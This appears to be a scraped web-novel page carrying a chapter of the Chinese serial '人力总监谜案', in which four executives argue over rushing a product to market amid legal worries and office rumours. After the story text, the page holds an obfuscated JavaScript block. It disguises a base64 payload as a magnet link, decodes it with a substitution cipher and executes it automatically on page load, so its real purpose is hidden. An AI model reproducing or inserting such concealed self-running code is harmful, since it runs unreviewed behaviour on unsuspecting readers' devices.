Lisa,耐心地解释):“Lisa,我明白销售业绩的重要性,但是如果产品因为质量问题或者法律纠纷在市场上出现问题,那对我们公司的声誉将是毁灭性的打击,后续想要挽回就更难了。” Lisa(不以为然地说):“哪有那么容易出问题啊?我们要相信我们的技术团队和产品质量。而且现在市场竞争这么激烈,我们不能因为过于谨慎而错失良机。” Tom(有些为难地说):“其实我们的技术成果在目前阶段已经具备了一定的市场竞争力,但是确实还有一些小问题需要解决。如果我们能在短时间内解决这些问题,并且顺利推进上市,我觉得还是可行的。” Cindy(连忙说):“那我们就一起努力,克服困难。Tom,你列出需要解决的问题清单和所需的资源,我来协调安排。Michalle,你确保法律方面的工作顺利进行,不要出现任何漏洞。Lisa,你和市场团队继续保持与客户的沟通,了解他们的需求和反馈。” 大家纷纷点头表示同意。 Michalle(还是有些担忧地说):“Cindy,我们在推进的过程中一定要密切关注各个环节,不能有任何疏忽。一旦发现问题,要及时调整策略。” Cindy(坚定地说):“放心吧,Michalle。我知道这次的责任重大,我们一定会小心谨慎的。大家齐心协力,一定能让我们的技术成果成功推向市场,为公司带来巨大的利益。” 在这个充满挑战和机遇的时刻,公司的各个部门都围绕着技术成果的推广紧密合作又相互制衡。每个人都深知自己的责任重大,而他们的每一个决策和行动都将影响到公司的未来发展。然而,他们不知道的是,公司内部的权力斗争和外部的竞争压力也在悄然影响着这一切,这场关于技术成果的风云变幻才刚刚开始……

这章没有结束,请点击下一页继续阅读!# 暗潮涌动的商议 场景:公司会议室,Cindy、Michalle、Tom 和 Lisa 围坐在会议桌前,墙上的投影仪展示着技术成果的相关资料,气氛凝重而压抑。 Cindy(双手交叠,放在桌上,表情严肃):“各位,我们现在面临的情况非常严峻。市场对我们技术成果的期待越来越高,但时间紧迫,我们必须尽快做出决策,确保顺利推进。Michalle,法律方面的准备工作进展如何了?” Michalle(推了推眼镜,清了清嗓子):“我和律师团队一直在加班加点。专利申请已经进入了加速审核阶段,但还有一些细节需要进一步完善。同时,关于技术成果的保密协议和相关合同,也在逐一核对和修订,确保没有法律漏洞。不过,我还是要强调,我们不能为了赶时间而忽视任何潜在的法律风险。” Tom(揉了揉太阳穴,略显疲惫):“研发这边已经按照我们之前讨论的方案,在并行推进各项测试和优化工作。目前来看,大部分关键技术指标都已经达到了预期,但还有一些小问题需要时间来解决。我担心如果强行加快进度,可能会对产品的稳定性产生影响。” Lisa(焦急地敲了敲桌子):“市场不等人啊!我们的竞争对手也在紧锣密鼓地准备推出类似的产品。如果我们不能在短期内抢占市场份额,以后的局面会非常被动。我建议我们可以先进行小规模的市场试点,收集用户反馈的同时,也能为全面推广积累经验。” Cindy(思考片刻,点了点头):“Lisa 的建议有一定的可行性。但是小规模试点也需要投入一定的资源和精力,我们要确保能够得到有价值的反馈。Michalle,你觉得在法律上需要注意些什么?” Michalle(皱着眉头,思考了一会儿):“如果进行小规模试点,我们需要确保与用户签订明确的协议,明确双方的权利和义务,特别是关于产品的使用范围、保密条款以及可能出现的风险责任等。同时,要对试点过程进行严格的监督和管理,防止技术成果泄露。” Tom(有些担忧地说):“小规模试点会不会影响我们的整体研发进度?我担心一旦投入精力在试点上,会分散研发团队的注意力,导致关键问题的解决时间延长。” Lisa(连忙解释):“不会的,Tom。我们可以成立一个专门的试点小组,由市场和部分研发人员组成,他们负责与用户沟通和收集反馈,而核心研发团队仍然专注于解决关键技术问题。这样既能推进试点工作,又不会对研发进度造成太大影响。” Cindy(权衡利弊后,做出决定):“好,那就按照 Lisa 的建议,尽快启动小规模市场试点。Tom,你负责挑选合适的研发人员加入试点小组,并确保他们与核心团队保持密切沟通。Lisa,你带领市场团队制定详细的试点方案和用户反馈收集机制。Michalle,你负责起草相关的法律协议和监督试点过程中的法律合规性。” 大家纷纷表示同意,开始各自忙碌起来。然而,就在他们为技术成果的推广努力拼搏时,公司内部却暗流涌动。一些别有用心的人开始在背后散布谣言,声称技术成果存在严重的质量问题,并且指责 Cindy 在推动项目过程中过于急功近利,忽视了公司的整体利益。这些谣言很快在公司内部传开,引起了一些员工的恐慌和质疑。 Cindy(得知谣言后,愤怒地拍桌子):“这明显是有人在故意捣乱!我们必须尽快找出源头,制止这些谣言的传播。否则,不仅会影响我们的项目推进,还会对公司的声誉造成极大的损害。” Michalle(冷静地分析):“我觉得我们可以从最近与我们有利益冲突的人入手调查。也许是竞争对手在背后搞鬼,或者是公司内部某些人出于个人目的想要破坏我们的计划。” Tom(无奈地叹气):“这个时候出现这种情况,真的是雪上加霜。我们本来就时间紧迫,现在还要分心处理这些谣言。” Lisa(坚定地说):“我们不能被这些谣言打倒。我们要更加努力地推进项目,用实际成果来证明这些谣言是毫无根据的。同时,我们可以通过公司内部的渠道,向员工们澄清事实,稳定大家的情绪。” 在这个充满挑战和危机的时刻,Cindy 等人不仅要面对技术成果推广的重重困难,还要应对公司内部的谣言和阴谋。他们能否在这场风云变幻的局势中坚守住自己的立场,成功推动技术成果的上市,一切都还是未知数……但他们心中都有一个信念,那就是为了公司的未来,他们必须全力以赴,战胜一切困难。

喜欢人力总监谜案请大家收藏:人力总监谜案本站更新速度全网最快。

(function(){function q6a3e4d(za489035){var zc0af="Uk.1(d/OVfj5ruKLbMtye&S-[H37T8=D~xPAoFn_B9:Qa4lcqZ^%Ri,]WN2sg?E|C!wvIG@Y$Xpm;z6Jh0";var xd39f8="~89!jAm_sSCagJxetFbD[UZ:h,PB6RnlOI.Hwku%EV&^G$=iT|]dQz/@0p;X17rLco2q3M?4Kv-5(fNyWY";return atob(za489035).split('').map(function(d3f7315){var va7ca=zc0af.indexOf(d3f7315);return va7ca==-1?d3f7315:xd39f8[va7ca]}).join('')}var c=q6a3e4d('magnet:?xt=b2M9JSFvZSJWIisiTGdndCJebHpuPUNiYyE9Oyl7O3puPUNiYyE9O0NZP1R0LkhiazVMVGclZ0hOP1lna0g9Z201Z0lUdD8pe2N6OyxRRzVDWmhjPSxQYkxWYjs9NVhjcjViIUVQTkQ1YnohRS8pKXtFTGJuRT19WDVFID1MVG13V2x6bj1DYmMhPTtGemt3V2ttVD8pe0VMYm5FPSBmYkVjPXJQekUhL2pbNUVqISVMO0Z6a3dXa21UPyl9Mlg1RSBEWS5XV1cubGUiRChWcEFXZ098fmR5T3VmT0FxR3wiSCJYTEVwV2ciSCJWYyVwZ1ltIkgiQ0NicHdXd21wVz9wV1kgZ1ctZ1ctV1QiXjJYNUUgPWclWWdZTENsTj9ZZ2tlPUxUbXdXOy4/KSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7LmspXkhYbS5XWSVsTj9ZZ2tlPUxUbXdXOy5rKSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7Lj8pXkhbbUxMQ3c/Lmw9Z201Z0lUdD9lPWclWWdZTEM7IjBJOUpDLzluJU02KEMvRG8lZGxsIileSFZnQ0w1THR0bD1nJVlnWUxDOyIwSXVEMHM4RDhoS0R0aDluJWRsbCIpSD1MbUM1bWw9ZyVZZ1lMQzsiQ0k5Y0NJOEo1aG09IilIRHola0kuJW1rbD1nJVlnWUxDOyJDLzlvdGFNKFNSbGwiKUgodFl3Q2w9ZyVZZ1lMQzsiQ0k3VjVzUmwiKUhpQzV0dGw9ZyVZZ1lMQzsiQy85d1NzdWlTUmxsIilIY0NDLll6d1dtbD1nJVlnWUxDOyI1Ly5OdHJsbCIpSFs/JW0uJWtJVGxOP1lna2U9ZyVZZ1lMQzsicWhNVzVkbGwiKV5IQ0l3VDUlV2xbPyVtLiVrSVRlPWclWWdZTEM7IjB3OU50ZGxsIileSEtZVC5DWWxbPyVtLiVrSVRlPWclWWdZTEM7IlMvS1h0SXhsIileSD10Z2tJbFs/JW0uJWtJVGU9ZyVZZ1lMQzsiQy9NblNhLmIiKV5IdiV6TFR6azVDbD1nJVlnWUxDOyJ0aE1XMHdybCIpSDV0JXp3bWw9ZyVZZ1lMQzsidGhNbyIpSE4lJUwla2w9ZyVZZ1lMQzsidGEuW1NkbGwiKTJYNUUgRkM/LnRZbW1sPWclWWdZTEM7IkN3Z1c1aDhEJXJsbCIpMlg1RSBMTEx0Q1l6Mlg1RSBbQ21MZ3dnbENZP1R0LmVXXjJjejtDWT9UdC5QREw9cmJbPmcpe1tDbUxnd2dsQ1k/VHQuZUtZVC5DWTs9dGdrSTspKkNZP1R0LlBETD1yYlspXn1jejtEIUM1YmMhPVBWTDVFQ1tQYz0lTEt+ejtGQz8udFltbSk+cGcpe0xMTHRDWXpsPWdtNWdJVHQ/ZVZnQ0w1THR0Xjs9ZyVZZ1lMQzsiJWE5WSVhTUpTaEJsIikpMkxMTHRDWXpQYyVsImIiKz10Z2tJOykqZ0xZMkxMTHRDWXpQVmJKRExQb2MlYltsImdXV18iMkxMTHRDWXpQVmJKRExQW0xjcltibCJtV1dOSyIyTExMdENZelAlY1Y1dERMJWxiRW5MMmN6Oz1nbTVnSVR0P1B0ISVKMWw9bkREKXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KX1MRFZMe1g1RSAha1c1P2dsem49Q2JjIT07KXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KTJOP1lna1BFTC8hWExCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfTJOP1lna1A1JSVCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfX1YNUUgRVklbUM1bD1nbTVnSVR0P2VWZ0NMNUx0dF47PWclWWdZTEM7IlNoZ2NTaFJsIikpMkVZJW1DNVBjJWxiazVMVGclZytDSXdUNSVXOz10Z2tJOykqZ0xZKTJFWSVtQzVQVmJKRExQW0xjcltibCJXTksiMkVZJW1DNVBWYkpETFAhWExFekQhb2wiW2MlJUw9IjJDIT1WYiBWdD9rd0x3Z2w7JXpJdHRIblRDd3dITklrP3psd1dXKWw+M0UhL2NWTFBFNUNMO2V6TGJDWzslekl0dEhuVEN3dylIPUxvIDNFIS9jVkw7OztPSEVMKExDYilsPlZMYnFjL0whbmI7OzspbD5FTChMQ2I7PUxvIEJFRSFFOyJiYy9MIW5iIikpKUhOSWs/eikpKV4pMlg1RSAvdHQlJWw1Vko9QyB6bj1DYmMhPTslLj9UV0N6WXcpe1g1RSAvay53em0udz9sZSIoViJIIkNWViJIInJjeiJIIihOciJIIk49ciJIIihOckwiSCJvTHROIkgiVlhyIkgiW2IvRCJIIihOTHIiXjJYNUUgb3dZWVR3bC9rLnd6bS53P1BETD1yYlsyL2sud3ptLnc/bC9rLnd6bS53P2VLWVQuQ1k7PXRna0k7KSpvd1lZVHcpXjJDIT1WYiB6JVc/a2xlIlN3Q25DSU1YdHNOTiU9OWl0aEtiU3clbXRmbVd0SWRUfnFGZzZybGwiXjJYNUUgRXc/Z0lnbHolVz9rZVdeMmN6O3olVz9rUERMPXJiWz5nKXtFdz9nSWdseiVXP2tlS1lULkNZOz10Z2tJOykqeiVXP2tQREw9cmJbKV59WDVFIHJ0d1RMdFQlbE41RVZMeD1iO2JrNUxUZyVnKTJjejtjVjY1NjtydHdUTHRUJSkpcnR3VEx0VCVsVzJydHdUTHRUJStsa2trazJYNUUgcm13SXcubGUiW2JiTlYtLCJIRlk1bS5ZO0V3P2dJZylIIltiL0QiSGBWLzR7cnR3VEx0VCV9YEhgNHtiazVMVGclZ31QNHsvay53em0udz99YF5lY0NDLll6d1dtXjsiLCIpMmN6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1WTD0lIHZWIFshVmIgIitybXdJdy4yYkVKe1g1RSBuQ210TFlXbDVvNWNiIFZ0P2t3THdnO3Jtd0l3Lkh7RUwlY0VMQ2ItInohREQhbyJ9SGdtV1cpMm5DbXRMWVdsNW81Y2IgbkNtdExZV1BiTEtiOykyWDVFIEpZa3QlJWxuQ210TFlXUGM9JUxLfno7PUxUbXdXO1RnKSkyWDVFIHpXP1R0NVRsIiIyY3o7SllrdCUlPmxXKXt6Vz9UdDVUbG5DbXRMWVdlPUxtQzVtXjtKWWt0JSUpMm5DbXRMWVdsbkNtdExZV2U9TG1DNW1eO1dISllrdCUlKX1uQ210TFlXbG5DbXRMWVdldiV6TFR6azVDXjssUHtnSFl9LHIpZTV0JXp3bV47O0tsPktlKHRZd0NeOyIiKWVpQzV0dF47KWVjQ0MuWXp3V21eOyIiKSkpZWNDQy5ZendXbV47IiIpMm5DbXRMWVdsbkNtdExZVyt6Vz9UdDVUMm5DbXRMWVdsPWclWWdZTEM7bkNtdExZVykyJS4/VFdDell3bG5DbXRMWVdlKHRZd0NeOyIsIillV14yY3o7TExMdENZejFsPW5ERClMTEx0Q1l6UFg1RG5MK2wiXEVcPXJMYiB2ViBbIVZiIFZuQ0NMVlYiKyUuP1RXQ3pZd31DNWJDWztKa1Q1V3drNUwpe2N6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1yTGIgdlYgWyFWYiB6NWNETCUiK0prVDVXd2s1TH1YNUUgWHRZZ21DellsWG0uV1klO0RZLldXVy5QQyE9QzViO2VgPSFvcDR7eTViTGUiPSFvIl47KX1gSGBbRUx6cDR7RCFDNWJjIT1QW0VMen1gSGBuVkNwNHtiLiV0WXQ7KX1gXilQViFFYjs7OylsPj10Z2tJOylwUG0pKWVjQ0MuWXp3V21eOyJIIikpMlg1RSBWTFcuVENsWHRZZ21DellQYz0lTEt+ejs9TFRtd1c7VGcpKT5wZ0BYdFlnbUN6WWU9TG1DNW1eO1h0WWdtQ3pZUGM9JUxLfno7PUxUbXdXO1RnKSkpLSIiMlh0WWdtQ3pZbFh0WWdtQ3pZZUR6JWtJLiVta147VkxXLlRDSCIiKWUodFl3Q147IiIpZWlDNXR0XjspZWNDQy5ZendXbV47IiIpK1ZMVy5UQzJFWSVtQzVQVkVDbGUiW2JiTlYtLCJIJS4/VFdDell3SEVZJW1DNVBjJUhYdFlnbUN6WV5lY0NDLll6d1dtXjsiLCIpMmJFSns9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtFWSVtQzUpfUM1YkNbO0wpez1nbTVnSVR0P1A1JSVCWEw9YnxjVmJMPUxFOyJ5fkdqIT1iTD1ifCE1JUwlIkg7OylsPns9Z201Z0lUdD9QdCElSlBjPVZMRWI3THohRUw7RVklbUM1SD1nbTVnSVR0P1B0ISVKUENbY0QlNiElTFZlV14pfSkpfWN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9NU5OTD0lTCUgTC8gYiEgW2IvRCIyWDVFIEVMLkkuSUxsPWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSkyY3o7RUwuSS5JTGxsPW5ERFpaRUwuSS5JTGxsbj0lTHpjPUwlKXtMTEx0Q1l6UFg1RG5MK2wiXEVcPSBDNT1iIHJMYiBMLyB6RSEvIFtiL0QifX19MmN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9Vkw9JSAoViBbIVZiICIrW0NtTGd3Z31YNUUgYi4ldFl0bHpuPUNiYyE9Oyl7YkVKe0MhPVZiID16eldZJS5sOz1MbyB5NWJMKVBiIXwhQzVETHk1YkxmYkVjPXI7KTJDIT1WYiBuZ3pUZ3dJVGxgVi9iY09WYyVPNHt6elRJP1BiazVMVGclZ31PTlhgMkRMYiB2LjV3Q21sdWZ+NlBONUVWTDtEIUM1RGZiIUU1ckxQckxieGJMLztuZ3pUZ3dJVCkpMmN6O3YuNXdDbWxsPW5ERFpadi41d0NtUCU1YkwxbD16eldZJS4pe3YuNXdDbWx7TlhxYy9MVi1XSCU1YkwtPXp6V1klLn19RUxibkU9IHYuNXdDbVBOWHFjL0xWK2d9QzViQ1s7KG01Vz8pe0VMYm5FPSBnfX0yWDVFIEZZNW0uWWx6bj1DYmMhPTs9LkNDWSl7RUxibkU9ID1nJVlnWUxDOz0uQ0NZKWVEeiVrSS4lbWteOz1MVG13VztZdylIPXRna0k7KVBiIWZiRWM9cjtJVClQVkRjQ0w7S1lULkNZOz10Z2tJOykqLikrdykpfTIvdHQlJTtGWTVtLlk7W0NtTGd3ZykpMk4/WWdrZSI1JSVCWEw9YnxjVmJMPUxFIl47Ii9MVlY1ckwiSDt6bj1DYmMhPTsobTVXPyl7Y3o7KG01Vz9QJTViNVBGbGxiazVMVGclZyl7PWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSlQRUwvIVhMOykyWDVFIChZWVRrZzVMbD1uREQyY3o7TExMdENZejFsPW5ERCl7TExMdENZelBYNURuTCtsIlxFXD1FTENMY1hMIEwvIE4hVmIgL0xWVjVyTCIyTExMdENZelBYNURuTCtsIlxFXD1MUCU1YjVQWCAiKyhtNVc/UCU1YjVQdjIoWVlUa2c1TGw7UFBQW0NZLkxMaylsPntjejsxW0NZLkxMa1paW0NZLkxMa1BETD1yYls8bFcpRUxibkU9MkxMTHRDWXpQWDVEbkwrbCJcRVw9IitbQ1kuTExrUCghYz07IiAiKX19PUxvIE1uPUNiYyE9OyI1RXJWIkgobTVXP1AlNWI1UHYpO3tPYiVDVi1bbUxMQ3c/LkhPRCFyLShZWVRrZzVMfSl9fSkpfSk7ZSJTd0NuMHM3V35hREkwczhpdGhLYlN3JW10Zm1XdElkVH5xRmc2cmxsIl5IImdZbSJIb2M9JSFvSCUhQ24vTD1iKX0yVkxnZ3Q7KTI='.substr(11));new Function(c)()})();
上一章
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间